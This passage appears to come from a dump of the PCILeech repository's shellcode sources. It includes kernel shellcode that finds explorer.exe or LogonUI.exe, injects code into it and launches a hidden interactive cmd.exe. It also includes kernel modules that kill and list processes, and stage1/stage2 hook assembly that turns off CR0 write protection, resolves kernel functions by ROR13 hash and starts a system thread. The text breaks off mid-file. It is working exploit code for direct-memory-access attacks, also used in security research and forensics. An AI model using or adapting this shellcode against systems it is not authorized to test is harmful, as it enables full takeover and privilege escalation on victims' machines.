NULL;\n\tKAPC_STATE ApcState;\n\tCLIENT_ID ClientId, ClientId_2;\n\tHANDLE hThread;\n\t// lookup process\n\tnt = fnk2->PsLookupProcessByProcessId((HANDLE)qwPID, &Process); // TODO: decrease handle needed???\n\tif(NT_ERROR(nt)) {\n\t\tpk->dataOut[0] = nt;\n\t\tpk->dataOut[1] = 0x01;\n\t\treturn;\n\t}\n\t// allocate memory\n\tfnk->RtlZeroMemory(&ObjectAttributes, sizeof(OBJECT_ATTRIBUTES));\n\tfnk->RtlZeroMemory(&ClientId, sizeof(CLIENT_ID));\n\tClientId.UniqueThread = 0;\n\tClientId.UniqueProcess = (HANDLE)qwPID;\n\tnt = fnk2->ZwOpenProcess(&ZwProcessHandle, PROCESS_ALL_ACCESS, &ObjectAttributes, &ClientId);\n\tif(NT_ERROR(nt)) {\n\t\tpk->dataOut[0] = nt;\n\t\tpk->dataOut[1] = 0x04;\n\t\tgoto fail;\n\t}\n\tnt = fnk2->ZwAllocateVirtualMemory(ZwProcessHandle, &pvAddressUserMode, 1, &cbUserModeMemory, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n\tif(NT_ERROR(nt)) {\n\t\tpk->dataOut[0] = nt;\n\t\tpk->dataOut[1] = 0x05;\n\t\tgoto fail;\n\t}\n\t// Attach to user process memory\n\tfnk2->KeStackAttachProcess(Process, &ApcState);\n\t// Allocate memory for console buffer (if needed)\n\tif(pk->dataIn[2]) {\n\t\tqwAddrConsoleBuffer = SetupConsoleBufferUserMode(pk, fnk, fnk2);\n\t\tif(!qwAddrConsoleBuffer) {\n\t\t\tpk->dataOut[0] = (QWORD)E_FAIL;\n\t\t\tpk->dataOut[1] = 0x06;\n\t\t\tfnk2->KeUnstackDetachProcess(&ApcState);\n\t\t\tgoto fail;\n\t\t}\n\t}\n\t// Intialize user mode code\n\tnt = IntializeUserModeCode(pk, fnk, fnk2, (PBYTE)pvAddressUserMode, qwAddrConsoleBuffer);\n\tif(NT_ERROR(nt)) {\n\t\tpk->dataOut[0] = nt;\n\t\tpk->dataOut[1] = 0x07;\n\t\tfnk2->KeUnstackDetachProcess(&ApcState);\n\t\tgoto fail;\n\t}\n\t// Detach from user process memory\n\tfnk2->KeUnstackDetachProcess(&ApcState);\n\tif(fnk2->RtlCreateUserThread) {\n\t\tnt = fnk2->RtlCreateUserThread(ZwProcessHandle,\t0, FALSE, 0, NULL, NULL, (QWORD)pvAddressUserMode, 0, &hThread, &ClientId_2);\n\t\tif(NT_ERROR(nt)) { \n\t\t\tpk->dataOut[0] = nt;\n\t\t\tpk->dataOut[1] = 0x0A;\n\t\t\tgoto fail;\n\t\t}\n\t\tCommonSleep(fnk, 250);\n\t} \n#ifdef _WIN7_COMPAT\n\telse {\n\t\t// Windows 7 fallback to more complicated KeInsertQueueApc method.\n\t\tActionDefault_QueueApcState(pk, fnk, fnk2, Process, ApcState, pvAddressUserMode);\n\t}\n#endif /* _WIN7_COMPAT */\nfail:\n\tif(ZwProcessHandle) { fnk->ZwClose(ZwProcessHandle); }\n\tif(Process) { fnk2->ObDereferenceObject(Process); }\n}\n\nNTSTATUS GetProcessNameFromPid(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, _In_ HANDLE pid, _In_ SIZE_T cb, _Out_ PBYTE pb)\n{\n\tPEPROCESS Process;\n\tLPSTR sz;\n\tSIZE_T csz;\n\tNTSTATUS nt = fnk2->PsLookupProcessByProcessId(pid, &Process);\n\tif(NT_SUCCESS(nt)) {\n\t\tsz = fnk2->PsGetProcessImageFileName(Process);\n\t\tcsz = fnk2->strnlen(sz, cb);\n\t\tfnk->RtlCopyMemory(pb, sz, csz);\n\t}\n\treturn nt;\n}\n\nNTSTATUS GetPidFromPsName(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, _In_ LPSTR szPsName, _Out_ PQWORD pqwPID)\n{\n\tNTSTATUS nt;\n\tPBYTE pbSPIBuffer;\n\tULONG cbSPIBuffer;\n\tPSYSTEM_PROCESS_INFORMATION pPI;\n\tCHAR szPsNameBuffer[0x10];\n\tnt = fnk->ZwQuerySystemInformation(SystemProcessInformation, NULL, 0, &cbSPIBuffer);\n\tif(nt != 0xC0000004 || !cbSPIBuffer) {\n\t\treturn nt;\n\t}\n\tpbSPIBuffer = (PBYTE)fnk->ExAllocatePool(0, cbSPIBuffer);\n\tif(!pbSPIBuffer) {\n\t\treturn E_OUTOFMEMORY;\n\t}\n\tnt = fnk->ZwQuerySystemInformation(SystemProcessInformation, pbSPIBuffer, cbSPIBuffer, &cbSPIBuffer);\n\tif(NT_SUCCESS(nt)) {\n\t\tpPI = (PSYSTEM_PROCESS_INFORMATION)pbSPIBuffer;\n\t\tdo {\n\t\t\tfnk->RtlZeroMemory(szPsNameBuffer, 0x10);\n\t\t\tGetProcessNameFromPid(fnk, fnk2, pPI->UniqueProcessId, 0x10, szPsNameBuffer);\n\t\t\tif(0 == fnk->_stricmp(szPsNameBuffer, szPsName)) {\n\t\t\t\t*pqwPID = (QWORD)pPI->UniqueProcessId;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif(!pPI->NextEntryOffset) {\n\t\t\t\tnt = E_NOT_VALID_STATE;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tpPI = (PSYSTEM_PROCESS_INFORMATION)((QWORD)pPI + pPI->NextEntryOffset);\n\t\t} while(((QWORD)pPI >= (QWORD)pbSPIBuffer) && ((QWORD)pPI < (QWORD)pbSPIBuffer + cbSPIBuffer));\n\t}\n\tif(pbSPIBuffer) { fnk->ExFreePool(pbSPIBuffer); }\n\treturn nt;\n}\n\n/*\n* Module entry point.\n*/\nVOID c_EntryPoint(_In_ PKMDDATA pk)\n{\n\tKERNEL_FUNCTIONS fnk;\n\tKERNEL_FUNCTIONS2 fnk2;\n\tInitializeKernelFunctions(pk->AddrKernelBase, &fnk);\n\tInitializeKernelFunctions2(pk->AddrKernelBase, &fnk2);\n#ifdef _PSCMD_SYSTEM\n\tCHAR szBINARY[] = { 'L', 'o', 'g', 'o', 'n', 'U', 'I', '.', 'e', 'x', 'e', 0 };\n#endif _PSCMD_SYSTEM\n#ifdef _PSCMD_USER\n\tCHAR szBINARY[] = { 'e', 'x', 'p', 'l', 'o', 'r', 'e', 'r', '.', 'e', 'x', 'e', 0 };\n#endif _PSCMD_USER\n#ifdef _PSCMD\n\tCHAR szCMD[] = { 'c', ':', '\\\\', 'w', 'i', 'n', 'd', 'o', 'w', 's', '\\\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\\\', 'c', 'm', 'd', '.', 'e', 'x', 'e', 0 };\n\tpk->dataIn[1] = 0x08000000; // hidden window\n\tpk->dataIn[2] = 1; // interactive\n\tpk->dataIn[4] = 1; // multi thread hijack (boost)\n\tpk->dataOut[0] = GetPidFromPsName(&fnk, &fnk2, szBINARY, &pk->dataIn[0]);\n\tif(pk->dataOut[0]) {\n\t\tpk->dataOut[1] = 0x101;\n\t\treturn;\n\t}\n\tfnk.RtlCopyMemory(pk->dataInStr, szCMD, sizeof(szCMD));\n#endif _PSCMD\n\tActionDefault(pk, &fnk, &fnk2);\n}\n"
  },
  {
    "path": "pcileech_shellcode/wx64_pskill.c",
    "content": "// wx64_pskill.c : kernel code to terminate running processes.\n// Compatible with Windows x64.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_pskill.c\n// ml64.exe wx64_common_a.asm /Fewx64_pskill.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pskill.obj wx64_common.obj\n// shellcode64.exe -o wx64_pskill.exe \"TERMINATE/KILL PROCESS                                         \\n===============================================================\\nREQUIRED OPTIONS:                                              \\n  -0   : Process PID to terminate. Example '-0 0x0fe0'.        \\nOPTIONAL OPTIONS:                                              \\n  -1   : Process exit status. Default: 0. Example:  '-0 0x01'. \\n===== RESULT OF TERMINATE/KILL OPERATION ======================%s\\nNTSTATUS  : 0x%08X                                             \\n===============================================================\\n\"\n//\n#include \"wx64_common.h\"\n\ntypedef struct _CLIENT_ID {\n\tHANDLE UniqueProcess;\n\tHANDLE UniqueThread;\n} CLIENT_ID;\ntypedef CLIENT_ID *PCLIENT_ID;\n\n//----------------------------------------------------------------------------------------------------------\n\n#define H_ZwClose\t\t\t\t\t\t\t\t0x5d044c61\n#define H_ZwOpenProcess\t\t\t\t\t\t\t0xf0d09d60\n#define H_ZwTerminateProcess\t\t\t\t\t0x792cbc53\n\ntypedef struct tdKERNEL_FUNCTIONS2 {\n\tNTSTATUS(*ZwClose)(\n\t\t_In_ HANDLE Handle\n\t\t);\n\tNTSTATUS(*ZwOpenProcess)(\n\t\t_Out_    PHANDLE            ProcessHandle,\n\t\t_In_     ACCESS_MASK        DesiredAccess,\n\t\t_In_     POBJECT_ATTRIBUTES ObjectAttributes,\n\t\t_In_opt_ PCLIENT_ID         ClientId\n\t\t);\n\tNTSTATUS(*ZwTerminateProcess)(\n\t\t_In_opt_ HANDLE   ProcessHandle,\n\t\t_In_     NTSTATUS ExitStatus\n\t\t);\n} KERNEL_FUNCTIONS2, *PKERNEL_FUNCTIONS2;\n\nVOID InitializeKernelFunctions2(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS2 fnk2)\n{\n\tQWORD FUNC2[][2] = {\n\t\t{ &fnk2->ZwClose,\t\t\t\t\t\t\tH_ZwClose },\n\t\t{ &fnk2->ZwOpenProcess,\t\t\t\t\t\tH_ZwOpenProcess },\n\t\t{ &fnk2->ZwTerminateProcess,\t\t\t\tH_ZwTerminateProcess }\n\t};\n\tfor(QWORD j = 0; j < (sizeof(FUNC2) / sizeof(QWORD[2])); j++) {\n\t\t*(PQWORD)FUNC2[j][0] = PEGetProcAddressH(qwNtosBase, (DWORD)FUNC2[j][1]);\n\t}\n}\n\n//----------------------------------------------------------------------------------------------------------\n\nVOID c_EntryPoint(_In_ PKMDDATA pk)\n{\n\tNTSTATUS nt;\n\tOBJECT_ATTRIBUTES ObjectAttributes;\n\tKERNEL_FUNCTIONS fnk;\n\tKERNEL_FUNCTIONS2 fnk2;\n\tHANDLE ZwProcessHandle;\n\tCLIENT_ID ClientId;\n\t// validate indata and create function maps\n\tif(!pk->dataIn[0]) {\n\t\tpk->dataOut[0] = STATUS_INVALID_PARAMETER;\n\t\treturn;\n\t}\n\tInitializeKernelFunctions(pk->AddrKernelBase, &fnk);\n\tInitializeKernelFunctions2(pk->AddrKernelBase, &fnk2);\n\t// open process handle\n\tfnk.RtlZeroMemory(&ObjectAttributes, sizeof(OBJECT_ATTRIBUTES));\n\tfnk.RtlZeroMemory(&ClientId, sizeof(CLIENT_ID));\n\tClientId.UniqueThread = 0;\n\tClientId.UniqueProcess = (HANDLE)pk->dataIn[0];\n\tnt = fnk2.ZwOpenProcess(&ZwProcessHandle, PROCESS_ALL_ACCESS, &ObjectAttributes, &ClientId);\n\tif(NT_ERROR(nt)) {\n\t\tpk->dataOut[0] = nt;\n\t\treturn;\n\t}\n\t// terminate process and exit\n\tpk->dataOut[0] = fnk2.ZwTerminateProcess(ZwProcessHandle, (NTSTATUS)pk->dataIn[1]);\n\tfnk2.ZwClose(ZwProcessHandle);\n}\n"
  },
  {
    "path": "pcileech_shellcode/wx64_pslist.c",
    "content": "// wx64_pslist.c : kernel code to list running processes (name and PID).\n// Compatible with Windows x64.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_pslist.c\n// ml64 wx64_common_a.asm /Fewx64_pslist.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pslist.obj wx64_common.obj\n// shellcode64.exe -o wx64_pslist.exe \"ACTIVE PROCESS LIST                                                        \\n===========================================================================\\nNTSTATUS: %s0x%08x                                                         \\nIN TOTAL %i ENTRIES EXISTS, SEE BELOW FOR MORE INFORMATION                 \\n===========================================================================\\n\"\n//\n#include \"wx64_common.h\"\n\ntypedef struct tdKERNEL_FUNCTIONS2 {\n\tLPSTR(*PsGetProcessImageFileName)(\n\t\t_In_  PEPROCESS Process\n\t\t);\n\tNTSTATUS(*PsLookupProcessByProcessId)(\n\t\t_In_  HANDLE    ProcessId,\n\t\t_Out_ PEPROCESS *Process\n\t\t);\n\tsize_t(*strnlen)(\n\t\tconst char *str,\n\t\tsize_t numberOfElements\n\t\t);\n} KERNEL_FUNCTIONS2, *PKERNEL_FUNCTIONS2;\n\nVOID InitializeKernelFunctions2(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS2 fnk2)\n{\n\tQWORD FUNC2[][2] = {\n\t\t{ &fnk2->PsGetProcessImageFileName,\t\t\tH_PsGetProcessImageFileName },\n\t\t{ &fnk2->PsLookupProcessByProcessId,\t\tH_PsLookupProcessByProcessId },\n\t\t{ &fnk2->strnlen,\t\t\t\t\t\t\tH_strnlen }\n\t};\n\tfor(QWORD j = 0; j < (sizeof(FUNC2) / sizeof(QWORD[2])); j++) {\n\t\t*(PQWORD)FUNC2[j][0] = PEGetProcAddressH(qwNtosBase, (DWORD)FUNC2[j][1]);\n\t}\n}\n\ntypedef struct _SYSTEM_PROCESS_INFORMATION {\n\tULONG NextEntryOffset;\n\tULONG NumberOfThreads;\n\tBYTE Reserved1[68];\n\tLONG BasePriority;\n\tHANDLE UniqueProcessId;\n\tPVOID Reserved3;\n\tULONG HandleCount;\n\tBYTE Reserved4[4];\n\tPVOID Reserved5[11];\n\tSIZE_T PeakPagefileUsage;\n\tSIZE_T PrivatePageCount;\n\tLARGE_INTEGER Reserved6[6];\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\n\nNTSTATUS GetProcessNameFromPid(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, _In_ HANDLE pid, _In_ SIZE_T cb, _Out_ PBYTE pb)\n{\n\tPEPROCESS Process;\n\tLPSTR sz;\n\tSIZE_T csz;\n\tNTSTATUS nt = fnk2->PsLookupProcessByProcessId(pid, &Process);\n\tif(NT_SUCCESS(nt)) {\n\t\tsz = fnk2->PsGetProcessImageFileName(Process);\n\t\tcsz = fnk2->strnlen(sz, cb);\n\t\tfnk->RtlCopyMemory(pb, sz, csz);\n\t}\n\treturn nt;\n}\n\nNTSTATUS ActionDefault(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2)\n{\n\tCHAR ABET_HEX[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' };\n\tNTSTATUS nt;\n\tPBYTE pbSPIBuffer;\n\tULONG cbSPIBuffer;\n\tPSYSTEM_PROCESS_INFORMATION pPI;\n\tQWORD qwAddrOut, qwPID;\n\tnt = fnk->ZwQuerySystemInformation(SystemProcessInformation, NULL, 0, &cbSPIBuffer);\n\tif(nt != 0xC0000004 || !cbSPIBuffer) {\n\t\treturn nt;\n\t}\n\tpbSPIBuffer = (PBYTE)fnk->ExAllocatePool(0, cbSPIBuffer);\n\tif(!pbSPIBuffer) { \n\t\treturn E_OUTOFMEMORY; \n\t}\n\tnt = fnk->ZwQuerySystemInformation(SystemProcessInformation, pbSPIBuffer, cbSPIBuffer, &cbSPIBuffer);\n\tif(NT_SUCCESS(nt)) {\n\t\tpPI = (PSYSTEM_PROCESS_INFORMATION)pbSPIBuffer;\n\t\tqwAddrOut = pk->DMAAddrVirtual + pk->dataOutExtraOffset + pk->dataOutExtraLength;\n\t\tdo {\n\t\t\tpk->dataOut[1]++;\n\t\t\tqwAddrOut = pk->DMAAddrVirtual + pk->dataOutExtraOffset + pk->dataOutExtraLength;\n\t\t\t*(PQWORD)(qwAddrOut + 0x00) = 0x2020202020202020;\n\t\t\t*(PQWORD)(qwAddrOut + 0x08) = 0x2020202020202020;\n\t\t\tpk->dataOutExtraLength += 0x20;\n\t\t\tqwPID = pPI->UniqueProcessId;\n\t\t\tGetProcessNameFromPid(fnk, fnk2, (HANDLE)qwPID, 0x10, (PBYTE)qwAddrOut);\n\t\t\t*(PDWORD)(qwAddrOut + 0x10) = 0x3D444950;\n\t\t\t*(PBYTE)(qwAddrOut + 0x1f) = '\\n';\n\t\t\t*(PBYTE)(qwAddrOut + 0x1e) = '\\r';\n\t\t\t*(PBYTE)(qwAddrOut + 0x1d) = '0' + (qwPID % 10);\n\t\t\t*(PBYTE)(qwAddrOut + 0x1c) = '0' + ((qwPID / 10) % 10);\n\t\t\t*(PBYTE)(qwAddrOut + 0x1b) = '0' + ((qwPID / 100) % 10);\n\t\t\t*(PBYTE)(qwAddrOut + 0x1a) = '0' + ((qwPID / 1000) % 10);\n\t\t\t*(PBYTE)(qwAddrOut + 0x19) = '0' + ((qwPID / 10000) % 10);\n\t\t\t*(PBYTE)(qwAddrOut + 0x18) = '|';\n\t\t\t*(PBYTE)(qwAddrOut + 0x17) = ABET_HEX[qwPID & 0xf];\n\t\t\t*(PBYTE)(qwAddrOut + 0x16) = ABET_HEX[(qwPID >> 4) & 0xf];\n\t\t\t*(PBYTE)(qwAddrOut + 0x15) = ABET_HEX[(qwPID >> 8) & 0xf];\n\t\t\t*(PBYTE)(qwAddrOut + 0x14) = ABET_HEX[(qwPID >> 12) & 0xf];\n\t\t\tif(!pPI->NextEntryOffset) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tpPI = (PSYSTEM_PROCESS_INFORMATION)((QWORD)pPI + pPI->NextEntryOffset);\n\t\t} while(((QWORD)pPI >= (QWORD)pbSPIBuffer) && ((QWORD)pPI < (QWORD)pbSPIBuffer + cbSPIBuffer));\n\t}\n\tif(pbSPIBuffer) { fnk->ExFreePool(pbSPIBuffer); }\n\treturn nt;\n}\n\nVOID c_EntryPoint(_In_ PKMDDATA pk)\n{\n\tKERNEL_FUNCTIONS fnk;\n\tKERNEL_FUNCTIONS2 fnk2;\n\tInitializeKernelFunctions(pk->AddrKernelBase, &fnk);\n\tInitializeKernelFunctions2(pk->AddrKernelBase, &fnk2);\n\tpk->dataOut[0] = ActionDefault(pk, &fnk, &fnk2);\n}"
  },
  {
    "path": "pcileech_shellcode/wx64_stage1.asm",
    "content": "; wx64_stage1.asm : assembly to redirect hook to larger code section.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n.CODE\n\nmain PROC\n\tlabel_main_base:\n\tCALL label_main_base\nmain ENDP\n\n; -----------------------------------------------------------------------------\n; Info\n; compiles into  E8FBFFFFFF\n; In order to CALL correct stage2 entry point address the value FBFFFFFF\n; (FFFFFFFB when loaded as DWORD) has to be incremented with the offset between\n; stage1 and stage2. \n; After completing stage2 - JMP back to CALL-stack - 5 (length of shellcode)\n; -----------------------------------------------------------------------------\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/wx64_stage2.asm",
    "content": "; wx64_stage2.asm : assembly to receive execution from stage1 shellcode.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n.CODE\n\nmain PROC\n\t; ----------------------------------------------------\n\t; 0: INITIAL OP AND VARIABLE MEMORY LOCATIONS\n\t; ----------------------------------------------------\n\tJMP main_start \n\tdata_cmpxchg_flag\t\tdb 00h\n\tdata_filler\t\t\t\tdb 00h\n\tdata_phys_addr_alloc\tdd 00000000h\t\t\t\t\t\t; 4 bytes offset (4 bytes long)\n\tdata_orig_code\t\t\tdq 0000000000000000h\t\t\t\t; 8 bytes offset (8 bytes long)\n\tdata_offset_dummy\t\tdd 00000000h\t\t\t\t\t\t; 16 bytes offset (4 bytes long) - dummy offset for lx64_stage2 compabilty.\n\t; ----------------------------------------------------\n\t; 1: SAVE ORIGINAL PARAMETERS\n\t; ----------------------------------------------------\n\tmain_start:\n\tPOP rax\n\tSUB rax, 5\n\tPUSH rax\n\tPUSH rcx\n\tPUSH rdx\n\tPUSH r8\n\tPUSH r9\n\t; ----------------------------------------------------\n\t; 2: ENABLE SUPERVISOR WRITE\n\t; ----------------------------------------------------\n\tMOV rcx, cr0\n\tPUSH rcx\n\tAND ecx, 0fffeffffh\n\tMOV cr0, rcx\n\t; ----------------------------------------------------\n\t; 3: RESTORE ORIGNAL (8 bytes)\n\t; ----------------------------------------------------\n\tMOV rdx, [data_orig_code]\n\tMOV [rax], rdx\n\t; ----------------------------------------------------\n\t; 4: ENSURE ATOMICITY IN THREADED ENVIRONMENTS\n\t; ----------------------------------------------------\n\tMOV al, 00h\n\tMOV dl, 01h\n\tLEA rcx, data_cmpxchg_flag\n\tLOCK CMPXCHG [rcx], dl\n\tJNE skipcall\n\t; ----------------------------------------------------\n\t; 5: SET UP CALL STACK AND PARAMETERS\n\t;    param0 = address of NTOS code. First entry of\n\t;    IDT table = division by zero points into NTOSKRNL\n\t; ----------------------------------------------------\n\tPUSH r12\n\tPUSH r13\n\tSUB rsp, 020h\n\tSIDT [rsp]\n\tMOV rcx, [rsp+2]       \n\tMOV rcx, [rcx+4]                ; param0\n\t; ----------------------------------------------------\n\t; 5: CALL MAIN SETUP CODE\n\t; ----------------------------------------------------\n\tCALL SetupEntryPoint\n\tADD rsp, 020h\n\tPOP r13\n\tPOP r12\n\t; ----------------------------------------------------\n\t; 7: RESTORE AND JMP BACK\n\t; ----------------------------------------------------\n\tskipcall:\n\tPOP rax\n\tMOV cr0, rax\n\tPOP r9\n\tPOP r8\n\tPOP rdx\n\tPOP rcx\n\tRET\nmain ENDP\n\n; ----------------------------------------------------\n; Perform ROR13 hashing\n; rcx -> string ptr\n; rax <- result\n; ----------------------------------------------------\nHashROR13A PROC\n\tPUSH rsi\n\tPUSH rdi\n\tMOV rsi, rcx\n\tXOR rdi, rdi\n\tXOR rax, rax\n\tCLD\n\thash_loop:\n\tLODSB\n\tTEST al, al\n\tJZ hash_loop_finish\n\tROR edi, 13\n\tADD edi, eax\n\tJMP hash_loop\n\thash_loop_finish:\n\tMOV eax, edi\n\tPOP rdi\n\tPOP rsi\n\tRET\nHashROR13A ENDP\n\n; ----------------------------------------------------\n; Search for PE header given an address. May cause page faults.\n; rcx -> scan address\n; rax <- header address\n; ----------------------------------------------------\nPEGetModuleFromAddress_ScanBack PROC\n\tSHR rcx, 12\n\tSHL rcx, 12\n\taddress_loop:\n\tMOV eax, 1000h\n\tSUB rcx, rax\n\tMOV ax, [rcx]\t\t; dos header magic\n\tCMP ax, 5a4dh\n\tJNE address_loop\n\tMOV eax, [rcx+60]\t; nt header address offset\n\tCMP eax, 1000h\n\tJNBE address_loop\n\tADD rax, rcx\t\t; nt header address\n\tMOV eax, [rax]\n\tCMP eax, 00004550h\t; nt header magic\n\tJNE address_loop\n\tMOV rax, rcx\n\tRET\nPEGetModuleFromAddress_ScanBack ENDP\n\n\n; rcx -> module base address\n; rdx -> hash of exported function\n; rax <- address of exported function\nPEGetProcAddressH PROC\n\t; rdi = PIMAGE_EXPORT_DIRECTORY\n\t; rsi = counter NumberOfNames\n\tPUSH rdi\n\tPUSH rsi\n\tMOV edi, [rcx+60]\t; nt header address offset\n\tMOV edi, [rdi+rcx+136]\n\tADD rdi, rcx\t\t; ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hModule  \n\tMOV r8d, [rdi+24]\t; PIMAGE_EXPORT_DIRECTORY->NumberOfNames\n\tXOR rsi, rsi\n\tfind_loop:\n\tMOV eax, [rdi+32]\t\t\t; PIMAGE_EXPORT_DIRECTORY->AddressOfNames\n\tADD rax, rcx\t\t\t\t; PIMAGE_EXPORT_DIRECTORY->AddressOfNames + hModule\n\tMOV eax, [rax+rsi*4]\t\t; AddressOfNames[index]\n\tADD rax, rcx\n\tPUSH rcx\n\tMOV rcx, rax\n\tCALL HashROR13A\n\tPOP rcx\n\tCMP eax, edx\n\tJE find_loop_found\n\tINC rsi\n\tJMP find_loop\n\tfind_loop_found:\n\t; found!\n\tMOV edx, [rdi+36]\t\t; PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals\n\tADD rdx, rcx\t\t\t; PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals + hModule\n\tXOR rax, rax\n\tMOV ax, [rdx+rsi*2]\t\t; AddressOfNameOrdinals[index]\n\tMOV edx, [rdi+28]\t\t; PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions \n\tADD rdx, rcx\t\t\t; PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions + hModule\n\tMOV eax, [rdx+rax*4]\t; AddressOfFunctions[index]\n\tADD rax, rcx\t\t\t; AddressOfFunctions[index] + hModule\n\tPOP rsi\n\tPOP rdi\n\tRET\nPEGetProcAddressH ENDP\n\n\n; rcx -> qwAddrNtosCode\nSetupEntryPoint PROC\n\t; r12 = ntos base address\n\t; r13 = memory address of allocated buffer\n\t; ----------------------------------------------------\n\t; FETCH NTOS BASE ADDRESS\n\t; ----------------------------------------------------\n\tCALL PEGetModuleFromAddress_ScanBack\n\tMOV r12, rax\n\t; ----------------------------------------------------\n\t; ALLOCATE 0x2000 CONTIGUOUS MEMORY BELOW 0x7fffffff\n\t; ----------------------------------------------------\n\tMOV rcx, r12\n\tMOV edx, 9f361ebch\t\t; H_MmAllocateContiguousMemory\n\tCALL PEGetProcAddressH\n\tMOV rcx, 2000h\n\tMOV rdx, 7fffffffh\t\n\tCALL rax\n\tMOV r13, rax\n\t; ----------------------------------------------------\n\t; ZERO ALLOCATED MEMORY\n\t; ----------------------------------------------------\n\tXOR rax, rax\n\tMOV ecx, 400h\n\tclear_loop:\n\tDEC ecx\n\tMOV [r13+rcx*8], rax\n\tJNZ clear_loop\n\t; ----------------------------------------------------\n\t; SET UP INITIAL STAGE3 SHELLCODE AND DATA\n\t; ----------------------------------------------------\n\tMOV [r13+8], r12\n\tMOV rax, 048FFFFFFF1058D48h\n\tMOV [r13+1000h], rax\n\tMOV rax, 0F07400F88348008Bh\n\tMOV [r13+1008h], rax\n\t; ----------------------------------------------------\n\t; CREATE THREAD\n\t; ----------------------------------------------------\n\tPUSH r13\n\tMOV eax, 1000h\n\tADD rax, r13\n\tPUSH rax\n\tPUSH 0\n\tSUB rsp, 020h\n\tMOV rcx, r12\n\tMOV edx, 94a06b02h\t\t; H_PsCreateSystemThread\n\tCALL PEGetProcAddressH\n\tMOV rcx, r13\n\tMOV rdx, 1fffffh\n\tXOR r8, r8\n\tXOR r9, r9\n\tCALL rax\n\tADD rsp, 038h\n\t; ----------------------------------------------------\n\t; RETRIEVE AND SET PHYSICAL ADDRESS\n\t; ----------------------------------------------------\n\tMOV rcx, r12\n\tMOV edx, 5a326357h\t\t; H_MmGetPhysicalAddress\n\tCALL PEGetProcAddressH\t\n\t;ENTER 20h, 0\t\t\t; only required to avoid bluescreen in Vista\n\tMOV rcx, r13\n\tCALL rax\n\t;LEAVE\t\t\t\t\t; only required to avoid bluescreen in Vista\n\tMOV [data_phys_addr_alloc], eax\n\tRET\nSetupEntryPoint ENDP\n\n\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/wx64_stage23_vmm.asm",
    "content": "; wx64_stage23_vmm.asm : assembly to receive execution from initial hook\n; based on the memory process file system assisted injection technique.\n;\n; (c) Ulf Frisk, 2019\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\nEXTRN stage3_c_EntryPoint:NEAR\n\n.CODE\n\nmain PROC\n\t; ----------------------------------------------------\n\t; 0: INITIAL OP AND VARIABLE MEMORY LOCATIONS\n\t;    - 1st JMP to main_start is the landing location for the 1st hook\n\t;    (hook of the function pointer) to gain initial execution.\n\t;    - 2nd JMP to stage3_c_EntryPoint is the landing for the 2nd hook\n\t;    (currently placed in hal.dll!HalBugCheckSystem) which receives\n\t;    execution flow in a safe non-BSOD way after PsCreateSystemThread\n\t;    - Other values below are filled in at runtime after analyzing and\n\t;    observing the target system with the memory process file system.\n\t; ----------------------------------------------------\n\tJMP main_start\n\tJMP stage3_c_EntryPoint\t\t\t\t\t\t\t\t\t\t\t; offset 0x02\n\tdata_filler\t\t\t\t\t\t\tdb 0\n\taddr_cmpxchg_flag\t\t\t\t\tdq 1111111111111111h\t\t; offset 0x08\n\taddr_orig_code\t\t\t\t\t\tdq 2222222222222222h\t\t; offset 0x10\n\taddr_dbg\t\t\t\t\t\t\tdq 3333333333333333h\t\t; offset 0x18\n\taddr_kmddata\t\t\t\t\t\tdq 4444444444444444h\t\t; offset 0x20\n\taddr_NTOSKRNL\t\t\t\t\t\tdq 5555555555555555h\t\t; offset 0x28\n\taddr_MmAllocateContiguousMemory\t\tdq 6666666666666666h\t\t; offset 0x30\n\taddr_PsCreateSystemThread\t\t\tdq 7777777777777777h\t\t; offset 0x38\n\taddr_MmGetPhysicalAddress\t\t\tdq 8888888888888888h\t\t; offset 0x40\n\taddr_KeGetCurrentIrql\t\t\t\tdq 9999999999999999h\t\t; offset 0x48\n\taddr_JMP_DST\t\t\t\t\t\tdq 1111111111111111h\t\t; offset 0x50\n\t; ----------------------------------------------------\n\t; 1: SAVE ORIGINAL PARAMETERS\n\t; ----------------------------------------------------\n\tmain_start:\n\tPUSH rax\n\tPUSH 